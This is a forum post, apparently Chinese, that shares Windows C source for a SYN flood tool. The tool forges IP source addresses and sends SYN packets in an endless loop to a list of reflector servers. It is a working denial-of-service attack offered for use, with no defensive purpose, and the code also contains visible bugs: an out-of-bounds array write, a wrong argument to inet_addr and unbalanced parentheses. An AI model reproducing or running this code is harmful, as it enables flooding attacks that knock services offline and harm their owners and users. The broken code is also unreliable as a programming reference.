- 论坛徽章:
- 0
|
很牛的一个代码,不敢说了,呵呵\r\n#include <winsock2.h> \r\n\r\n#include <Ws2tcpip.h> \r\n\r\n#include <stdio.h> \r\n\r\n#include <stdlib.h> \r\n\r\n#define SEQ 0x28376839 \r\n\r\n#define NUM 7//反射服务器的个数 \r\n\r\n#define FAKE_IP \"192.168.0.6\" //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段 \r\n\r\n#define STATUS_FAILED 0xFFFF //错误返回值 \r\n\r\n\r\ntypedef struct _iphdr //定义IP首部 \r\n\r\n{ \r\n\r\nunsigned char h_verlen; //4位首部长度,4位IP版本号 \r\n\r\nunsigned char tos; //8位服务类型TOS \r\n\r\nunsigned short total_len; //16位总长度(字节) \r\n\r\nunsigned short ident; //16位标识 \r\n\r\nunsigned short frag_and_flags; //3位标志位 \r\n\r\nunsigned char ttl; //8位生存时间 TTL \r\n\r\nunsigned char proto; //8位协议 (TCP, UDP 或其他) \r\n\r\nunsigned short checksum; //16位IP首部校验和 \r\n\r\nunsigned int sourceIP; //32位源IP地址 \r\n\r\nunsigned int destIP; //32位目的IP地址 \r\n\r\n}IP_HEADER; \r\n\r\n\r\nstruct //定义TCP伪首部 \r\n\r\n{ \r\n\r\nunsigned long saddr; //源地址 \r\n\r\nunsigned long daddr; //目的地址 \r\n\r\nchar mbz; \r\n\r\nchar ptcl; //协议类型 \r\n\r\nunsigned short tcpl; //TCP长度 \r\n\r\n}psd_header; \r\n\r\n\r\ntypedef struct _tcphdr //定义TCP首部 \r\n\r\n{ \r\n\r\nUSHORT th_sport; //16位源端口 \r\n\r\nUSHORT th_dport; //16位目的端口 \r\n\r\nunsigned int th_seq; //32位序列号 \r\n\r\nunsigned int th_ack; //32位确认号 \r\n\r\nunsigned char th_lenres; //4位首部长度/6位保留字 \r\n\r\nunsigned char th_flag; //6位标志位 \r\n\r\nUSHORT th_win; //16位窗口大小 \r\n\r\nUSHORT th_sum; //16位校验和 \r\n\r\nUSHORT th_urp; //16位紧急数据偏移量 \r\n\r\n}TCP_HEADER; \r\n\r\n\r\n//CheckSum:计算校验和的子函数 \r\n\r\nUSHORT checksum(USHORT *buffer, int size) \r\n\r\n{ \r\n\r\nunsigned long cksum=0; \r\n\r\nwhile(size >1) { \r\n\r\ncksum+=*buffer++; \r\n\r\nsize -=sizeof(USHORT); \r\n} \r\n\r\nif(size ) { \r\n\r\ncksum += *(UCHAR*)buffer; \r\n\r\n} \r\n\r\ncksum = (cksum >> 16) + (cksum & 0xffff); \r\n\r\ncksum += (cksum >>16); \r\n\r\nreturn (USHORT)(~cksum); \r\n\r\n} \r\n\r\n\r\n// SynFlood主函数 \r\n\r\nint main() \r\n\r\n{ \r\n\r\nint datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; \r\n\r\nint TimeOut=2000,SendSEQ=0,i=0; \r\n\r\nchar SendBuf[128]={0}; \r\n\r\nchar RecvBuf[65535]={0}; \r\n\r\nchar * Syn_dest_ip[NUM-1]; \r\n\r\nWSADATA wsaData; \r\n\r\nSOCKET SockRaw=(SOCKET)NULL; \r\n\r\nstruct sockaddr_in DestAddr; \r\n\r\nIP_HEADER ip_header; \r\n\r\nTCP_HEADER tcp_header; \r\n\r\n//初始反射IP列表 \r\n\r\nSyn_dest_ip[0]=\"192.168.0.99\"; \r\nSyn_dest_ip[1]=\"192.168.0.1\"; \r\nSyn_dest_ip[2]=\"192.168.0.2\"; \r\nSyn_dest_ip[3]=\"192.168.0.4\"; \r\nSyn_dest_ip[4]=\"192.168.0.5\"; \r\nSyn_dest_ip[5]=\"192.168.0.3\"; \r\nSyn_dest_ip[6]=\"192.168.0.7\"; \r\n\r\n//初始化SOCK_RAW \r\n\r\nif((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){ \r\n\r\nfprintf(stderr,\"WSAStartup failed: %d\\n\",ErrorCode); \r\n\r\nExitProcess(STATUS_FAILED); \r\n\r\n} \r\n\r\nSockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); \r\n\r\nif (SockRaw==INVALID_SOCKET){ \r\n\r\nfprintf(stderr,\"WSASocket() failed: %d\\n\",WSAGetLastError()); \r\n\r\nExitProcess(STATUS_FAILED); \r\n\r\n} \r\n\r\nflag=TRUE; \r\n\r\n//设置IP_HDRINCL以自己填充IP首部 \r\n\r\nErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); \r\n\r\nif (ErrorCode==SOCKET_ERROR) printf(\"Set IP_HDRINCL Error!\\n\" ; \r\n\r\n__try{ \r\n\r\n//设置发送超时 \r\n\r\nErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); \r\n\r\nif(ErrorCode==SOCKET_ERROR){ \r\n\r\nfprintf(stderr,\"Failed to set send TimeOut: %d\\n\",WSAGetLastError()); \r\n\r\n__leave; \r\n} \r\n\r\nwhile(1){ \r\n\r\nfor(i=0;i<NUM;i++){ //循环使用代理 \r\n\r\nmemset(&DestAddr,0,sizeof(DestAddr)); \r\n\r\nDestAddr.sin_family=AF_INET; \r\n\r\nDestAddr.sin_addr.s_addr=inet_addr(Syn_dest_ip); \r\n\r\nFakeIpNet=inet_addr(FAKE_IP); \r\n\r\nFakeIpHost=ntohl(FakeIpNet); \r\n\r\n//填充IP首部 \r\n\r\nip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); \r\n\r\n//高四位IP版本号,低四位首部长度 \r\n\r\nip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节) \r\n\r\nip_header.ident=1; //16位标识 \r\n\r\nip_header.frag_and_flags=0; //3位标志位 \r\n\r\nip_header.ttl=128; //8位生存时间TTL \r\n\r\nip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…) \r\n\r\nip_header.checksum=0; //16位IP首部校验和 \r\n\r\nip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址 \r\n\r\nip_header.destIP=inet_addr(Syn_dest_ip); //32位目的IP地址 \r\n\r\n//填充TCP首部 \r\n\r\ntcp_header.th_sport=htons(7000); //源端口号 \r\n\r\ntcp_header.th_dport=htons(8080); //目的端口号 \r\n\r\ntcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号 \r\n\r\ntcp_header.th_ack=0; //ACK序列号置为0 \r\n\r\ntcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位 \r\n\r\ntcp_header.th_flag=2; //SYN 标志 \r\n\r\ntcp_header.th_win=htons(16384); //窗口大小 \r\n\r\ntcp_header.th_urp=0; //偏移 \r\n\r\ntcp_header.th_sum=0; //校验和 \r\n\r\n//填充TCP伪首部(用于计算校验和,并不真正发送) \r\n\r\npsd_header.saddr=ip_header.sourceIP; //源地址 \r\n\r\npsd_header.daddr=ip_header.destIP; //目的地址 \r\n\r\npsd_header.mbz=0; \r\n\r\npsd_header.ptcl=IPPROTO_TCP; //协议类型 \r\n\r\npsd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部长度 \r\n\r\n//每发送10,24个报文输出一个标示符 \r\n\r\nprintf(\".\" ; \r\n\r\nfor(counter=0;counter<1024;counter++){ \r\n\r\nif(SendSEQ++==65536) SendSEQ=1; //序列号循环 \r\n\r\n//更改IP首部 \r\n\r\nip_header.checksum=0; //16位IP首部校验和 \r\n\r\nip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址 \r\n\r\n//更改TCP首部 \r\n\r\ntcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号 \r\n\r\ntcp_header.th_sum=0; //校验和 \r\n\r\n//更改TCP Pseudo Header \r\n\r\npsd_header.saddr=ip_header.sourceIP; \r\n\r\n//计算TCP校验和,计算校验和时需要包括TCP pseudo header \r\n\r\nmemcpy(SendBuf,&psd_header,sizeof(psd_header)); \r\n\r\nmemcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); \r\n\r\ntcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); \r\n\r\n//计算IP校验和 \r\n\r\nmemcpy(SendBuf,&ip_header,sizeof(ip_header)); \r\n\r\nmemcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); \r\n\r\nmemset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4); \r\n\r\ndatasize=sizeof(ip_header)+sizeof(tcp_header); \r\n\r\nip_header.checksum=checksum((USHORT *)SendBuf,datasize); \r\n\r\n//填充发送缓冲区 \r\n\r\nmemcpy(SendBuf,&ip_header,sizeof(ip_header)); \r\n\r\n//发送TCP报文 \r\n\r\nErrorCode=sendto(SockRaw, \r\n\r\nSendBuf, \r\n\r\ndatasize, \r\n\r\n0, \r\n\r\n(struct sockaddr*) &DestAddr, \r\n\r\nsizeof(DestAddr)); \r\n\r\nif (ErrorCode==SOCKET_ERROR) printf(\"\\nSend Error:%d\\n\",GetLastError()); \r\n\r\n}//End of for \r\n\r\n}//End of for \r\n\r\n}//End of while \r\n\r\n}//End of try \r\n\r\n__finally { \r\n\r\nif (SockRaw != INVALID_SOCKET) closesocket(SockRaw); \r\n\r\nWSACleanup(); \r\n\r\n} \r\n\r\nreturn 0; \r\n\r\n} |
|